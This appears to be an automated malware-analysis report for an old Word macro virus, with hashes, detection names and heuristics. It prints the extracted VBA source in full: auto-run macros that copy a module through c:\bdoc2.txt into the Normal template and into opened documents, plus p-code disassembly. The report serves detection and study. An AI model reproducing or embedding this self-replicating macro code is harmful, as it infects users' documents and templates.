Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e6139cde73e01ee8…

MALICIOUS

Office (OLE)

36.0 KB Created: 2000-07-18 15:57:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 16b3b551294310d2706daea1e30682db SHA-1: ff01708bb26f4c5c69115022b4870885b3dce40c SHA-256: e6139cde73e01ee8c7751d0455eab8347e6c7459a0fcfd4de6a747d087661713
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose functions, which are commonly used to execute malicious code upon opening. The script attempts to export and import VBA components, suggesting it may be a downloader or dropper. The ClamAV detection 'Doc.Trojan.CrazyMan-1' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.CrazyMan-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CrazyMan-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9912 bytes
SHA-256: 70fe9ba82a8503da1dc383ea8e4d6a77ab79c4ac5f33a4a3f3368d3ffe3d61b6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "bdoc2"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = True
Options.SaveNormalPrompt = True
Options.ConfirmConversions = True
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(i).Name = "bdoc2" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(i).Name = "bdoc2" Then ActivInstall = True
Next i
If ActivInstall = True And NormInstall = True Then GoTo Label_Exit
If ActivInstall = True And NormInstall = False Then Set Doc = ActiveDocument
If ActivInstall = False And NormInstall = True Then Set Doc = NormalTemplate
Doc.VBProject.VBComponents("bdoc2").Export ("c:\bdoc2.txt")

If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\bdoc2.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import ("c:\bdoc2.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If

Label_Exit:
CommandBars("Tools").Enabled = True
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Sub AutoClose()
On Error Resume Next
If Day(Now) = 2 And Month(Now) = 9 Then MsgBox "ÓÀÔ¶µÄ×£¸£ , ÉúÈÕ¿ìÀÖ!!!", vbCritical
Application.DisplayAlerts = wdAlertsNone
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "bdoc2" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "bdoc2" Then ActiveInstall = True
Next i
If ActiveInstall = True And NormInstall = True Then GoTo Label_Exit
If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\bdoc2.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then Kill ("c:\bdoc2.txt")
ActiveDocument.VBProject.VBComponents.Import ("c:\bdoc2.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
Label_Exit:
End Sub

Public Sub AutoExec()
On Error Resume Next
CommandBars("Tools").Enabled = True
Application.DisplayAlerts = wdAlertsNone
Application.ScreenUpdating = True
Options.VirusProtection = True
End Sub
Sub AutoExit()
On Error Resume Next
Kill ("c:\bdoc2.txt")
If Day(Now) = 13 Then MsgBox ",Press OK!!", vbCritical
End Sub


' Processing file: /opt/analyzer/scan_staging/3315d9a03dbb43099d1f3e46444f7b1d.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/bdoc2 - 4122 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitVarSpecial (True)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #3:
' 	LitVarSpecial (True)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #4:
' 	LitVarSpecial (True)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #5:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #6:
' 	Ld i 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0005 "bdoc2"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St NormInstall 
' 	EndIf 
' Line #7:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #8:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #9:
' 	Ld i 
' 	Ld ActiveDocum
... (truncated)

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